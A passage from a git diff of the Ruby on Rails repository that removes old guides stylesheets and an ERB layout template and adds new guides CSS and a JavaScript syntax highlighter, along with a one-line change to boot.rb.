- /* This height controls the vertical position of #content and #sidebar */
- height: 160px;
- overflow: hidden;
-}
-
-div#header h1 {
- height: 30px;
-
- margin: 0;
- margin-top: 10px;
- margin-left: 100px;
- padding: 0;
- font-weight: bold;
- font-size: 24pt;
-}
-div#header p {
- height: 30px;
- margin: 0;
- margin-left: 160px;
- padding: 0;
- font-weight: bold;
- font-size: 14pt;
- color: #999;
-}
-/*
-div#logo {
- float: left;
- width: 110px;
- height: 140px;
- margin-right: 31px;
-}
-*/
-
-
-div#content {
- margin-left: 170px;
-}
-
-/* Fix the IE only 3pixel jog - documented at http://www.positioniseverything.net/articles/hollyhack.html#haslayout \*/
-* html #content {
- height: 1px;
-}
-/* End hide from IE5-mac */
-
-div#sidebar {
- float: left;
- width: 170px;
- margin-top: -4px;
- font-size: 0.8em;
-}
-
-div#sidebar h2 {
- margin: 0;
- font-size: 1.1em;
- font-weight: bold;
-}
-
-div#sidebar ul {
- margin-top: 0;
- margin-bottom: 1em;
- padding: 0;
-}
-
-div#sidebar ol li {
- margin: 0 0 2px 0px;
- padding: 0;
- line-height: 1.3em;
- background-image: none;
-}
-
-div#sidebar ol li a {
- display: block;
- width: 150px;
- padding: 0.2em 0;
-}
-
-div#sidebar ul li {
- margin-left: 10px;
-}
-
-div#sidebar ol>ol {
- padding-left: 5px;
- padding-right: 5px;
- list-style-type: none;
-
-}
-
-div#sidebar ol>ol li a {
- display: block;
- width: 140px;
- padding: 0.2em 0;
- margin-left: 10px;
-
-}
-
-div#sidebar ol li a:hover {
-}
-
-/* ----------------------------------------------------------------------------
- Specific site-wide elements
----------------------------------------------------------------------------- */
-
-/* Introduction boxes */
-
-.introduction {
-
- margin-bottom: 1em;
- padding: 1em;
- background-color: #D6DFE8;
-}
-
-.introduction p {
- margin-bottom: 0;
-}
-
-/* Navigation */
-
-ul#navMain {
- height: 22px;
- margin: 0;
- margin-left: 140px;
- padding: 16px 0;
-
- list-style-type: none;
-}
-
-ul#navMain li {
- display: inline;
- background-image: none;
- margin: 0;
- padding: 0;
-}
-
-ul#navMain li {
- border-left: 1px solid #FFFFFF;
-}
-
-ul#navMain li.first-child {
- /* Wouldn't it be nice if IE was up-to-date with the rest of the world so we could skip
- superfluous classes? */
- border-left: none;
-}
-
-ul#navMain li a {
- padding: 0.2em 1em;
-
- color: #FFFFFF;
- text-decoration: none;
-}
-
-ul#navMain li.first-child a {
- /* Wouldn't it be nice if IE was up-to-date with the rest of the world? */
- padding-left: 0;
-}
-
-ul#navMain li a:hover {
- text-decoration: underline;
- background-color: transparent;
-}
-
-/* Mark the current page */
-ul#navMain li.current a {
- font-weight: bold;
-}
-
-
-/* ----------------------------------------------------------------------------
- Elements for specific areas
----------------------------------------------------------------------------- */
-
-/* Weblog */
-
-.blogEntry {
- margin-bottom: 2em;
-}
-
-.blogEntry h2 {
- margin-top: 0;
- margin-bottom: 0;
-}
-
-p.metaData {
- color: #999999;
- font-size: 0.9em;
-}
-
-
-/* Reference documentation */
-
-#reference #sidebar {
- display: none;
- width: 0;
-}
-
-#reference #content {
- margin-left: 0;
-}
-
-#reference #content #api {
- width: 100%;
- height: 800px;
-}
-
-#reference #logo {
- width: 80px;
- height: 86px;
-
- margin-right: 0;
-}
-
-#reference #logo img {
- height: 84px;
-}
-
-#reference {
- /* The header is smaller on the reference page, move the background up so the menu is in the
- proper place still */
- background-position: 0 -70px;
-}
-
-#reference #header {
- height: 90px;
-}
-
-#reference #header h1 {
- height: 24px;
-
- margin-top: 2px;
- margin-left: 0;
-
- background-image: none;
-
- text-indent: 0;
- font-size: 1.5em;
- font-weight: bold;
-
-}
-#reference #container {
- max-width: 100%;
-} \ No newline at end of file
diff --git a/railties/doc/guides/source/stylesheets/forms.css b/railties/doc/guides/source/stylesheets/forms.css
deleted file mode 100644
index 1da34dc999..0000000000
--- a/railties/doc/guides/source/stylesheets/forms.css
+++ /dev/null
@@ -1,35 +0,0 @@
-label, input {
- display: block;
- float: left;
- margin-bottom: 10px;
-}
-
-label {
- text-align: right;
- width: 80px;
- padding-right: 5px;
- font-weight: bold;
-}
-
-
-table {
- border: 0;
-}
-
-form>h1{
-
- padding-bottom: 2px;
- border-bottom: 1px solid gray;
- margin-bottom: 30px;
-
-}
-
-td {
- vertical-align: top;
-}
-
-#livepreview {
- padding: 5px;
- border: 1px solid #ccc;
-
-} \ No newline at end of file
diff --git a/railties/doc/guides/source/stylesheets/more.css b/railties/doc/guides/source/stylesheets/more.css
deleted file mode 100644
index 756ae06d0e..0000000000
--- a/railties/doc/guides/source/stylesheets/more.css
+++ /dev/null
@@ -1,253 +0,0 @@
-.admin {
- display:none;
-}
-
-#navAuthor {
- text-align: right;
-}
-
-.bookinfo, .userinfo, pre {
- padding: 10px;
- background: #eee;
- border: 1px solid #ccc;
-}
-
-pre {
- overflow: auto;
-}
-
-#content pre, #content ul {
- margin-bottom: 10px;
-}
-
-#content ol>ol {
- padding-left : 30px;
-}
-
-div#header h1 a{
- color: #333333;
- text-decoration: none;
-}
-
-div#header p a{
- text-decoration: none;
- color: #999;
-}
-
-.left-floaty {
- padding: 3px 15px;
- float:left;
-}
-
-.right-floaty {
- float:right;
- padding: 3px 15px;
-}
-
-.figure {
- border: 1px solid black;
- line-height: normal;
- background: #FFE;
- margin: 1em;
-}
-
-.figure .caption {
- background: #B00;
- color: white;
- font-weight: bold;
- padding: 4px 24px 4px 8px;
- margin-left: -4px;
- border: 1px dotted #F77;
-}
-
-.figure .body {
- padding: 0.5em;
- margin-top: 0.5em;
-}
-
-.figure pre {
- padding: 0px;
- background: transparent;
- border: none;
- font-size: small;
- font-family: mono;
-}
-
-.figure .lineno {
- text-align: right;
- color: #B00;
- font-family: mono;
- font-size: small;
- padding-right: 1em;
-}
-
-div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('../images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
-
-
-
-
diff --git a/railties/doc/guides/source/templates/guides.html.erb b/railties/doc/guides/source/templates/guides.html.erb
deleted file mode 100644
index ae1145c1ae..0000000000
--- a/railties/doc/guides/source/templates/guides.html.erb
+++ /dev/null
@@ -1,94 +0,0 @@
-<%-
- manuals_index_url = ENV['MANUALSONRAILS_INDEX_URL'] || "index.html"
- show_toc = ENV['MANUALSONRAILS_TOC'] != 'no'
--%>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title><%- if multi_page? && !is_preamble? -%><%=h current_chapter.plain_title %> :: <% end %><%=h title %></title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" <% if !show_toc %> class="notoc"<% end %>>
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container"<% if !show_toc %> class="notoc"<% end %>>
- <% if show_toc %>
- <div id="sidebar">
- <h2>Chapters</h2>
- <%- if multi_page? -%>
- <a href="<%=h chapters.first.basename %>">Preamble</a>
- <%- end -%>
- <ol>
- <%- if multi_page? -%>
- <%- for heading in table_of_contents -%>
- <li>
- <a href="<%=h heading.basename %>"><%= heading.title_without_numbers %></a>
- <%- if !heading.children.empty? -%>
- <ul>
- <% for h in heading.children %>
- <li><a href="<%=h h.basename %><%=h h.anchor %>"><%= h.title_without_numbers %></a></li>
- <% end %>
- </ul>
- <%- end -%>
- </li>
- <%- end -%>
- <%- else -%>
- <%- for heading in table_of_contents -%>
- <li>
- <a href="<%=h heading.anchor %>"><%= heading.title_without_numbers %></a>
- <%- if !heading.children.empty? -%>
- <ul>
- <% for h in heading.children %>
- <li><a href="<%=h h.anchor %>"><%= h.title_without_numbers %></a></li>
- <% end %>
- </ul>
- <%- end -%>
- </li>
- <%- end -%>
- <%- end -%>
- </ol>
- </div>
- <% end %>
- <div id="content">
- <%- if multi_page? && !is_preamble? -%>
- <h2 id="<%=h current_chapter.anchor_id %>"><%= current_chapter.title %></h2>
- <%- else -%>
- <h1><%=h title %></h1>
- <%- end -%>
- <%= contents %>
- <%- if multi_page? -%>
- <div id="chapter_navigation">
- <%- if prev_chapter -%>
- <div class="left-floaty">
- <a href="<%=h prev_chapter.basename %>">&laquo; <%= prev_chapter.title %></a>
- </div>
- <%- end -%>
- <%- if next_chapter -%>
- <div class="right-floaty">
- <a href="<%=h next_chapter.basename %>"><%= next_chapter.title %> &raquo;</a>
- </div>
- <%- end -%>
- </div>
- <%- end -%>
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/environments/boot.rb b/railties/environments/boot.rb
index 0a516880ca..0ad0f787f8 100644
--- a/railties/environments/boot.rb
+++ b/railties/environments/boot.rb
@@ -44,6 +44,7 @@ module Rails
def load_initializer
require "#{RAILS_ROOT}/vendor/rails/railties/lib/initializer"
Rails::Initializer.run(:install_gem_spec_stubs)
+ Rails::GemDependency.add_frozen_gem_path
end
end
diff --git a/railties/guides/files/javascripts/code_highlighter.js b/railties/guides/files/javascripts/code_highlighter.js
new file mode 100755
index 0000000000..ce983dad52
--- /dev/null
+++ b/railties/guides/files/javascripts/code_highlighter.js
@@ -0,0 +1,188 @@
+/* Unobtrustive Code Highlighter By Dan Webb 11/2005
+ Version: 0.4
+
+ Usage:
+ Add a script tag for this script and any stylesets you need to use
+ to the page in question, add correct class names to CODE elements,
+ define CSS styles for elements. That's it!
+
+ Known to work on:
+ IE 5.5+ PC
+ Firefox/Mozilla PC/Mac
+ Opera 7.23 + PC
+ Safari 2
+
+ Known to degrade gracefully on:
+ IE5.0 PC
+
+ Note: IE5.0 fails due to the use of lookahead in some stylesets. To avoid script errors
+ in older browsers use expressions that use lookahead in string format when defining stylesets.
+
+ This script is inspired by star-light by entirely cunning Dean Edwards
+ http://dean.edwards.name/star-light/.
+*/
+
+// replace callback support for safari.
+if ("a".replace(/a/, function() {return "b"}) != "b") (function(){
+ var default_replace = String.prototype.replace;
+ String.prototype.replace = function(search,replace){
+ // replace is not function
+ if(typeof replace != "function"){
+ return default_replace.apply(this,arguments)
+ }
+ var str = "" + this;
+ var callback = replace;
+ // search string is not RegExp
+ if(!(search instanceof RegExp)){
+ var idx = str.indexOf(search);
+ return (
+ idx == -1 ? str :
+ default_replace.apply(str,[search,callback(search, idx, str)])
+ )
+ }
+ var reg = search;
+ var result = [];
+ var lastidx = reg.lastIndex;
+ var re;
+ while((re = reg.exec(str)) != null){
+ var idx = re.index;
+ var args = re.concat(idx, str);
+ result.push(
+ str.slice(lastidx,idx),
+ callback.apply(null,args).toString()
+ );
+ if(!reg.global){
+ lastidx += RegExp.lastMatch.length;
+ break
+ }else{
+ lastidx = reg.lastIndex;
+ }
+ }
+ result.push(str.slice(lastidx));
+ return result.join("")
+ }
+})();
+
+var CodeHighlighter = { styleSets : new Array };
+
+CodeHighlighter.addStyle = function(name, rules) {
+ // using push test to disallow older browsers from adding styleSets
+ if ([].push) this.styleSets.push({
+ name : name,
+ rules : rules,
+ ignoreCase : arguments[2] || false
+ })
+
+ function setEvent() {
+ // set highlighter to run on load (use LowPro if present)
+ if (typeof Event != 'undefined' && typeof Event.onReady == 'function')
+ return Event.onReady(CodeHighlighter.init.bind(CodeHighlighter));
+
+ var old = window.onload;
+
+ if (typeof window.onload != 'function') {
+ window.onload = function() { CodeHighlighter.init() };
+ } else {
+ window.onload = function() {
+ old();
+ CodeHighlighter.init();
+ }
+ }
+ }
+
+ // only set the event when the first style is added
+ if (this.styleSets.length==1) setEvent();
+}
+
+CodeHighlighter.init = function() {
+ if (!document.getElementsByTagName) return;
+ if ("a".replace(/a/, function() {return "b"}) != "b") return; // throw out Safari versions that don't support replace function
+ // throw out older browsers
+
+ var codeEls = document.getElementsByTagName("CODE");
+ // collect array of all pre elements
+ codeEls.filter = function(f) {
+ var a = new Array;
+ for (var i = 0; i < this.length; i++) if (f(this[i])) a[a.length] = this[i];
+ return a;
+ }
+
+ var rules = new Array;
+ rules.toString = function() {
+ // joins regexes into one big parallel regex
+ var exps = new Array;
+ for (var i = 0; i < this.length; i++) exps.push(this[i].exp);
+ return exps.join("|");
+ }
+
+ function addRule(className, rule) {
+ // add a replace rule
+ var exp = (typeof rule.exp != "string")?String(rule.exp).substr(1, String(rule.exp).length-2):rule.exp;
+ // converts regex rules to strings and chops of the slashes
+ rules.push({
+ className : className,
+ exp : "(" + exp + ")",
+ length : (exp.match(/(^|[^\\])\([^?]/g) || "").length + 1, // number of subexps in rule
+ replacement : rule.replacement || null
+ });
+ }
+
+ function parse(text, ignoreCase) {
+ // main text parsing and replacement
+ return text.replace(new RegExp(rules, (ignoreCase)?"gi":"g"), function() {
+ var i = 0, j = 1, rule;
+ while (rule = rules[i++]) {
+ if (arguments[j]) {
+ // if no custom replacement defined do the simple replacement
+ if (!rule.replacement) return "<span class=\"" + rule.className + "\">" + arguments[0] + "</span>";
+ else {
+ // replace $0 with the className then do normal replaces
+ var str = rule.replacement.replace("$0", rule.className);
+ for (var k = 1; k <= rule.length - 1; k++) str = str.replace("$" + k, arguments[j + k]);
+ return str;
+ }
+ } else j+= rule.length;
+ }
+ });
+ }
+
+ function highlightCode(styleSet) {
+ // clear rules array
+ var parsed, clsRx = new RegExp("(\\s|^)" + styleSet.name + "(\\s|$)");
+ rules.length = 0;
+
+ // get stylable elements by filtering out all code elements without the correct className
+ var stylableEls = codeEls.filter(function(item) { return clsRx.test(item.className) });
+
+ // add style rules to parser
+ for (var className in styleSet.rules) addRule(className, styleSet.rules[className]);
+
+
+ // replace for all elements
+ for (var i = 0; i < stylableEls.length; i++) {
+ // EVIL hack to fix IE whitespace badness if it's inside a <pre>
+ if (/MSIE/.test(navigator.appVersion) && stylableEls[i].parentNode.nodeName == 'PRE') {
+ stylableEls[i] = stylableEls[i].parentNode;
+
+ parsed = stylableEls[i].innerHTML.replace(/(<code[^>]*>)([^<]*)<\/code>/i, function() {
+ return arguments[1] + parse(arguments[2], styleSet.ignoreCase) + "</code>"
+ });
+ parsed = parsed.replace(/\n( *)/g, function() {
+ var spaces = "";
+ for (var i = 0; i < arguments[1].length; i++) spaces+= "&nbsp;";
+ return "\n" + spaces;
+ });
+ parsed = parsed.replace(/\t/g, "&nbsp;&nbsp;&nbsp;&nbsp;");
+ parsed = parsed.replace(/\n(<\/\w+>)?/g, "<br />$1").replace(/<br \/>[\n\r\s]*<br \/>/g, "<p><br></p>");
+
+ } else parsed = parse(stylableEls[i].innerHTML, styleSet.ignoreCase);
+
+ stylableEls[i].innerHTML = parsed;
+ }
+ }
+
+ // run highlighter on all stylesets
+ for (var i=0; i < this.styleSets.length; i++) {
+ highlightCode(this.styleSets[i]);
+ }
+}
diff --git a/railties/guides/files/javascripts/guides.js b/railties/guides/files/javascripts/guides.js
new file mode 100755
index 0000000000..81fc07e799
--- /dev/null
+++ b/railties/guides/files/javascripts/guides.js
@@ -0,0 +1,8 @@
+function guideMenu(){
+
+ if (document.getElementById('guides').style.display == "none") {
+ document.getElementById('guides').style.display = "block";
+ } else {
+ document.getElementById('guides').style.display = "none";
+ }
+}
diff --git a/railties/guides/files/javascripts/highlighters.js b/railties/guides/files/javascripts/highlighters.js
new file mode 100644
index 0000000000..4f5f0779d7
--- /dev/null
+++ b/railties/guides/files/javascripts/highlighters.js
@@ -0,0 +1,90 @@
+CodeHighlighter.addStyle("css", {
+ comment : {
+ exp : /\/\*[^*]*\*+([^\/][^*]*\*+)*\//
+ },
+ keywords : {
+ exp : /@\w[\w\s]*/
+ },
+ selectors : {
+ exp : "([\\w-:\\[.#][^{};>]*)(?={)"
+ },
+ properties : {
+ exp : "([\\w-]+)(?=\\s*:)"
+ },
+ units : {
+ exp : /([0-9])(em|en|px|%|pt)\b/,
+ replacement : "$1<span class=\"$0\">$2</span>"
+ },
+ urls : {
+ exp : /url\([^\)]*\)/
+ }
+ });
+
+CodeHighlighter.addStyle("ruby",{
+ comment : {
+ exp : /#[^\n]+/
+ },
+ brackets : {
+ exp : /\(|\)/
+ },
+ string : {
+ exp : /'[^']*'|"[^"]*"/
+ },
+ keywords : {
+ exp : /\b(do|end|self|class|def|if|module|yield|then|else|for|until|unless|while|elsif|case|when|break|retry|redo|rescue|require|raise)\b/
+ },
+ /* Added by Shelly Fisher (shelly@agileevolved.com) */
+ symbol : {
+ exp : /([^:])(:[A-Za-z0-9_!?]+)/
+ },
+ ivar : {
+ exp : /\@[A-Za-z0-9_!?]+/
+ }
+});
+
+CodeHighlighter.addStyle("html", {
+ comment : {
+ exp: /&lt;!\s*(--([^-]|[\r\n]|-[^-])*--\s*)&gt;/
+ },
+ tag : {
+ exp: /(&lt;\/?)([a-zA-Z1-9]+\s?)/,
+ replacement: "$1<span class=\"$0\">$2</span>"
+ },
+ string : {
+ exp : /'[^']*'|"[^"]*"/
+ },
+ attribute : {
+ exp: /\b([a-zA-Z-:]+)(=)/,
+ replacement: "<span class=\"$0\">$1</span>$2"
+ },
+ doctype : {
+ exp: /&lt;!DOCTYPE([^&]|&[^g]|&g[^t])*&gt;/
+ }
+});
+
+CodeHighlighter.addStyle("javascript",{
+ comment : {
+ exp : /(\/\/[^\n]*(\n|$))|(\/\*[^*]*\*+([^\/][^*]*\*+)*\/)/
+ },
+ brackets : {
+ exp : /\(|\)/
+ },
+ string : {
+ exp : /'[^']*'|"[^"]*"/
+ },
+ keywords : {
+ exp : /\b(arguments|break|case|continue|default|delete|do|else|false|for|function|if|in|instanceof|new|null|return|switch|this|true|typeof|var|void|while|with)\b/
+ },
+ global : {
+ exp : /\b(toString|valueOf|window|element|prototype|constructor|document|escape|unescape|parseInt|parseFloat|setTimeout|clearTimeout|setInterval|clearInterval|NaN|isNaN|Infinity)\b/
+ }
+});
+
+CodeHighlighter.addStyle("yaml", {
+ keyword : {
+ exp : /\/\*[^*]*\*+([^\/][^*]*\*+)*\//
+ },
+ value : {
+ exp : /@\w[\w\s]*/
+ },
+});
diff --git a/railties/guides/files/stylesheets/main.css b/railties/guides/files/stylesheets/main.css
new file mode 100644
index 0000000000..d377628d73
--- /dev/null
+++ b/railties/guides/files/stylesheets/main.css
@@ -0,0 +1,441 @@
+/* Guides.rubyonrails.org */
+/* Main.css */
+/* Created January 30, 2009 */
+/* Modified February 8, 2009
+--------------------------------------- */
+
+/* General
+--------------------------------------- */
+
+.left {float: left; margin-right: 1em;}
+.right {float: right; margin-left: 1em;}
+.small {font-size: smaller;}
+.large {font-size: larger;}
+.hide {display: none;}
+
+li ul, li ol { margin:0 1.5em; }
+ul, ol { margin: 0 1.5em 1.5em 1.5em; }
+
+ul { list-style-type: disc; }
+ol { list-style-type: decimal; }
+
+dl { margin: 0 0 1.5em 0; }
+dl dt { font-weight: bold; }
+dd { margin-left: 1.5em;}
+
+pre,code { margin: 1.5em 0; white-space: pre; overflow: auto; }
+pre,code,tt { font: 1em 'andale mono', 'lucida console', monospace; line-height: 1.5; }
+
+abbr, acronym { border-bottom: 1px dotted #666; }
+address { margin: 0 0 1.5em; font-style: italic; }
+del { color:#666; }
+
+blockquote { margin: 1.5em; color: #666; font-style: italic; }
+strong { font-weight: bold; }
+em, dfn { font-style: italic; }
+dfn { font-weight: bold; }
+sup, sub { line-height: 0; }
+p {margin: 0 0 1.5em;}
+
+label { font-weight: bold; }
+fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
+legend { font-weight: bold; font-size:1.2em; }
+
+input.text, input.title,
+textarea, select {
+ margin:0.5em 0;
+ border:1px solid #bbb;
+}
+
+table {
+ margin: 0 0 1.5em;
+ border: 2px solid #CCC;
+ background: #FFF;
+ border-collapse: collapse;
+}
+
+table th, table td {
+ padding: 0.25em 1em;
+ border: 1px solid #CCC;
+ border-collapse: collapse;
+}
+
+table th {
+ border-bottom: 2px solid #CCC;
+ background: #EEE;
+ font-weight: bold;
+ padding: 0.5em 1em;
+}
+
+
+/* Structure and Layout
+--------------------------------------- */
+
+body {
+ text-align: center;
+ font-family: Helvetica, Arial, sans-serif;
+ font-size: 87.5%;
+ line-height: 1.5em;
+ background: #222;
+ color: #999;
+ }
+
+.wrapper {
+ text-align: left;
+ margin: 0 auto;
+ width: 69em;
+ }
+
+#topNav {
+ padding: 1em 0;
+ color: #565656;
+}
+
+#header {
+ background: #c52f24 url(../../images/header_tile.gif) repeat-x;
+ color: #FFF;
+ padding: 1.5em 0;
+ position: relative;
+ z-index: 99;
+ }
+
+#feature {
+ background: #d5e9f6 url(../../images/feature_tile.gif) repeat-x;
+ color: #333;
+ padding: 0.5em 0 1.5em;
+}
+
+#container {
+ background: #FFF;
+ color: #333;
+ padding: 0.5em 0 1.5em 0;
+ }
+
+#mainCol {
+ width: 45em;
+ margin-left: 2em;
+ }
+
+#subCol {
+ position: absolute;
+ z-index: 0;
+ top: 0;
+ right: 0;
+ background: #FFF;
+ padding: 1em 1.5em 1em 1.25em;
+ width: 17em;
+ font-size: 0.9285em;
+ line-height: 1.3846em;
+ }
+
+#extraCol {display: none;}
+
+#footer {
+ padding: 2em 0;
+ background: url(../../images/footer_tile.gif) repeat-x;
+ }
+#footer .wrapper {
+ padding-left: 2em;
+ width: 67em;
+}
+
+#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; width: 68em;}
+#feature .wrapper {width: 45em; padding-right: 23em; position: relative; z-index: 0;}
+
+/* Links
+--------------------------------------- */
+
+a, a:link, a:visited {
+ color: #ee3f3f;
+ text-decoration: underline;
+ }
+
+#mainCol a, #subCol a, #feature a {color: #980905;}
+
+
+/* Navigation
+--------------------------------------- */
+
+.nav {margin: 0; padding: 0;}
+.nav li {display: inline; list-style: none;}
+
+#header .nav {
+ float: right;
+ margin-top: 1.5em;
+ font-size: 1.2857em;
+}
+
+#header .nav li {margin: 0 0 0 0.5em;}
+#header .nav a {color: #FFF; text-decoration: none;}
+#header .nav a:hover {text-decoration: underline;}
+
+#header .nav .index {
+ padding: 0.5em 1.5em;
+ border-radius: 1em;
+ -webkit-border-radius: 1em;
+ -moz-border-radius: 1em;
+ background: #980905;
+ position: relative;
+}
+
+#header .nav .index a {
+ background: #980905 url(../../images/nav_arrow.gif) no-repeat right top;
+ padding-right: 1em;
+ position: relative;
+ z-index: 15;
+ padding-bottom: 0.125em;
+}
+#header .nav .index:hover a, #header .nav .index a:hover {background-position: right -81px;}
+
+#guides {
+ width: 27em;
+ display: block;
+ background: #980905;
+ border-radius: 1em;
+ -webkit-border-radius: 1em;
+ -moz-border-radius: 1em;
+ -webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
+ -moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
+ color: #f1938c;
+ padding: 1.5em 2em;
+ position: absolute;
+ z-index: 10;
+ top: -0.25em;
+ right: 0;
+ padding-top: 2em;
+}
+
+#guides dt, #guides dd {
+ font-weight: normal;
+ font-size: 0.722em;
+ margin: 0;
+ padding: 0;
+}
+#guides dt {padding:0; margin: 0.5em 0 0;}
+#guides a {color: #FFF; background: none !important;}
+#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
+#guides .R {float: right;}
+#guides hr {
+ display: block;
+ border: none;
+ height: 1px;
+ color: #f1938c;
+ background: #f1938c;
+}
+
+/* Headings
+--------------------------------------- */
+
+h1 {
+ font-size: 2.5em;
+ line-height: 1em;
+ margin: 0.6em 0 .2em;
+ font-weight: bold;
+ }
+
+h2 {
+ font-size: 2.1428em;
+ line-height: 1em;
+ margin: 0.7em 0 .2333em;
+ font-weight: bold;
+ }
+
+h3 {
+ font-size: 1.7142em;
+ line-height: 1.286em;
+ margin: 0.875em 0 0.2916em;
+ font-weight: bold;
+ }
+
+h4 {
+ font-size: 1.2857em;
+ line-height: 1.2em;
+ margin: 1.6667em 0 .3887em;
+ font-weight: bold;
+ }
+
+h5 {
+ font-size: 1em;
+ line-height: 1.5em;
+ margin: 1em 0 .5em;
+ font-weight: bold;
+}
+
+h6 {
+ font-size: 1em;
+ line-height: 1.5em;
+ margin: 1em 0 .5em;
+ font-weight: normal;
+ }
+
+.section {
+ padding-bottom: 0.25em;
+ border-bottom: 1px solid #999;
+}
+
+/* Content
+--------------------------------------- */
+
+.pic {
+ margin: 0 2em 2em 0;
+}
+
+#topNav strong {color: #999; margin-right: 0.5em;}
+#topNav strong a {color: #FFF;}
+
+#header h1 {
+ float: left;
+ background: url(../../images/rails_guides_logo.gif) no-repeat;
+ width: 297px;
+ text-indent: -9999em;
+ margin: 0;
+ padding: 0;
+}
+
+#header h1 a {
+ text-decoration: none;
+ display: block;
+ height: 77px;
+}
+
+#feature p {
+ font-size: 1.2857em;
+ margin-bottom: 0.75em;
+}
+
+#feature ul {margin-left: 0;}
+#feature ul li {
+ list-style: none;
+ background: url(../../images/check_bullet.gif) no-repeat left 0.5em;
+ padding: 0.5em 1.75em 0.5em 1.75em;
+ font-size: 1.1428em;
+ font-weight: bold;
+}
+
+#mainCol dd, #subCol dd {
+ padding: 0.25em 0 1em;
+ border-bottom: 1px solid #CCC;
+ margin-bottom: 1em;
+ margin-left: 0;
+ /*padding-left: 28px;*/
+ padding-left: 0;
+}
+
+#mainCol dt, #subCol dt {
+ font-size: 1.2857em;
+ padding: 0.125em 0 0.25em 0;
+ margin-bottom: 0;
+ /*background: url(../../images/book_icon.gif) no-repeat left top;
+ padding: 0.125em 0 0.25em 28px;*/
+}
+
+#mainCol dd.ticket, #subCol dd.ticket {
+ background: #fff9d8 url(../../images/tab_yellow.gif) no-repeat left top;
+ border: none;
+ padding: 1.25em 1em 1.25em 48px;
+ margin-left: 0;
+ margin-top: 0.25em;
+}
+
+#mainCol div.warning, #subCol dd.warning {
+ background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top;
+ border: none;
+ padding: 1.25em 1.25em 1.25em 48px;
+ margin-left: 0;
+ margin-top: 0.25em;
+}
+
+#subCol .chapters {color: #980905;}
+#subCol .chapters a {font-weight: bold;}
+#subCol .chapters ul a {font-weight: normal;}
+#subCol .chapters li {margin-bottom: 0.75em;}
+#subCol h3.chapter {margin-top: 0.25em;}
+#subCol h3.chapter img {vertical-align: text-bottom;}
+#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
+#subCol .chapters ul li {
+ list-style: none;
+ padding: 0 0 0 1em;
+ background: url(../../images/bullet.gif) no-repeat left 0.45em;
+ margin-left: 0;
+ font-size: 1em;
+ font-weight: normal;
+}
+
+tt {
+ font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
+}
+
+div.code_container {
